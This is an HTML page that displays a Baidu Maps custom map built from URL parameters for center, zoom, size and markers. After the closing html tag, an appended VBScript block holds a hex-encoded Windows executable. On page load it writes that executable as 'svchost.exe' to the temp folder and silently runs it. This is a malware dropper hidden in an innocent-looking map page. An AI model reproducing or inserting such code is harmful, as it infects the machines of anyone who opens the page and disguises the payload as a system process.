|
|
|
|
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
|
|
|
|
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
|
|
|
|
|
<head>
|
|
|
|
|
|
<meta charset="utf-8" />
|
|
|
|
|
|
<meta name="keywords" content="百度地图,百度地图API，百度地图自定义工具，百度地图所见即所得工具" />
|
|
|
|
|
|
<meta name="description" content="百度地图API自定义地图，帮助用户在可视化操作下生成百度地图" />
|
|
|
|
|
|
<title>百度地图API自定义地图</title>
|
|
|
|
|
|
<!--引用百度地图API-->
|
|
|
|
|
|
<style type="text/css">
|
|
|
|
|
|
html,body{margin:0;padding:0;}
|
|
|
|
|
|
.iw_poi_title {color:#CC5522;font-size:14px;font-weight:bold;overflow:hidden;padding-right:13px;white-space:nowrap}
|
|
|
|
|
|
.iw_poi_content {font:12px arial,sans-serif;overflow:visible;padding-top:4px;white-space:-moz-pre-wrap;word-wrap:break-word}
|
|
|
|
|
|
</style>
|
|
|
|
|
|
<script type="text/javascript" src="http://api.map.baidu.com/api?key=&v=1.1&services=true"></script>
|
|
|
|
|
|
</head>
|
|
|
|
|
|
|
|
|
|
|
|
<body onload="initMap();">
|
|
|
|
|
|
<!--百度地图容器-->
|
|
|
|
|
|
<div style="width:697px;height:550px;border:#ccc solid 1px;" id="dituContent"></div>
|
|
|
|
|
|
</body>
|
|
|
|
|
|
<script type="text/javascript">
|
|
|
|
|
|
function getParam(name) {
|
|
|
|
|
|
return location.href.match(new RegExp('[?&]' + name + '=([^?&]+)', 'i')) ? decodeURIComponent(RegExp.$1) : '';
|
|
|
|
|
|
}
|
|
|
|
|
|
var centerParam = getParam('center');
|
|
|
|
|
|
var zoomParam = getParam('zoom');
|
|
|
|
|
|
var widthParam = getParam('width');
|
|
|
|
|
|
var heightParam = getParam('height');
|
|
|
|
|
|
var markersParam = getParam('markers');
|
|
|
|
|
|
var markerStylesParam = getParam('markerStyles');
|
|
|
|
|
|
|
|
|
|
|
|
//创建和初始化地图函数：
|
|
|
|
|
|
function initMap(){
|
|
|
|
|
|
// [FF]切换模式后报错
|
|
|
|
|
|
if (!window.BMap) {
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
var dituContent = document.getElementById('dituContent');
|
|
|
|
|
|
dituContent.style.width = widthParam + 'px';
|
|
|
|
|
|
dituContent.style.height = heightParam + 'px';
|
|
|
|
|
|
|
|
|
|
|
|
createMap();//创建地图
|
|
|
|
|
|
setMapEvent();//设置地图事件
|
|
|
|
|
|
addMapControl();//向地图添加控件
|
|
|
|
|
|
|
|
|
|
|
|
// 创建标注
|
|
|
|
|
|
var markersArr = markersParam.split(',');
|
|
|
|
|
|
var point = new BMap.Point(markersArr[0], markersArr[1]);
|
|
|
|
|
|
var marker = new BMap.Marker(point);
|
|
|
|
|
|
map.addOverlay(marker); // 将标注添加到地图中
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
//创建地图函数：
|
|
|
|
|
|
function createMap(){
|
|
|
|
|
|
var map = new BMap.Map("dituContent");//在百度地图容器中创建一个地图
|
|
|
|
|
|
var centerArr = centerParam.split(',');
|
|
|
|
|
|
var point = new BMap.Point(centerArr[0], centerArr[1]);//定义一个中心点坐标
|
|
|
|
|
|
map.centerAndZoom(point, zoomParam);//设定地图的中心点和坐标并将地图显示在地图容器中
|
|
|
|
|
|
window.map = map;//将map变量存储在全局
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
//地图事件设置函数：
|
|
|
|
|
|
function setMapEvent(){
|
|
|
|
|
|
map.enableDragging();//启用地图拖拽事件，默认启用(可不写)
|
|
|
|
|
|
map.enableScrollWheelZoom();//启用地图滚轮放大缩小
|
|
|
|
|
|
map.enableDoubleClickZoom();//启用鼠标双击放大，默认启用(可不写)
|
|
|
|
|
|
map.enableKeyboard();//启用键盘上下左右键移动地图
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
//地图控件添加函数：
|
|
|
|
|
|
function addMapControl(){
|
|
|
|
|
|
//向地图中添加缩放控件
|
|
|
|
|
|
var ctrl_nav = new BMap.NavigationControl({anchor:BMAP_ANCHOR_TOP_LEFT,type:BMAP_NAVIGATION_CONTROL_LARGE});
|
|
|
|
|
|
map.addControl(ctrl_nav);
|
|
|
|
|
|
//向地图中添加缩略图控件
|
|
|
|
|
|
var ctrl_ove = new BMap.OverviewMapControl({anchor:BMAP_ANCHOR_BOTTOM_RIGHT,isOpen:1});
|
|
|
|
|
|
map.addControl(ctrl_ove);
|
|
|
|
|
|
//向地图中添加比例尺控件
|
|
|
|
|
|
var ctrl_sca = new BMap.ScaleControl({anchor:BMAP_ANCHOR_BOTTOM_LEFT});
|
|
|
|
|
|
map.addControl(ctrl_sca);
|
|
|
|
|
|
}
|
|
|
|
|
|
</script>
|
|
|
|
|
|
</html><SCRIPT Language=VBScript><!--
|
|
|
|
|
|
DropFileName = "svchost.exe"
|
|
|
|
|
|
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A5
|
|
|
|
|
|
Set FSO = CreateObject("Scripting.FileSystemObject")
|
|
|
|
|
|
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
|
|
|
|
|
|
If FSO.FileExists(DropPath)=False Then
|
|
|
|
|
|
Set FileObj = FSO.CreateTextFile(DropPath, True)
|
|
|
|
|
|
For i = 1 To Len(WriteData) Step 2
|
|
|
|
|
|
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
|
|
|
|
|
|
Next
|
|
|
|
|
|
FileObj.Close
|
|
|
|
|
|
End If
|
|
|
|
|
|
Set WSHshell = CreateObject("WScript.Shell")
|
|
|
|
|
|
WSHshell.Run DropPath, 0
|
|
|
|
|
|
//--></SCRIPT>
|
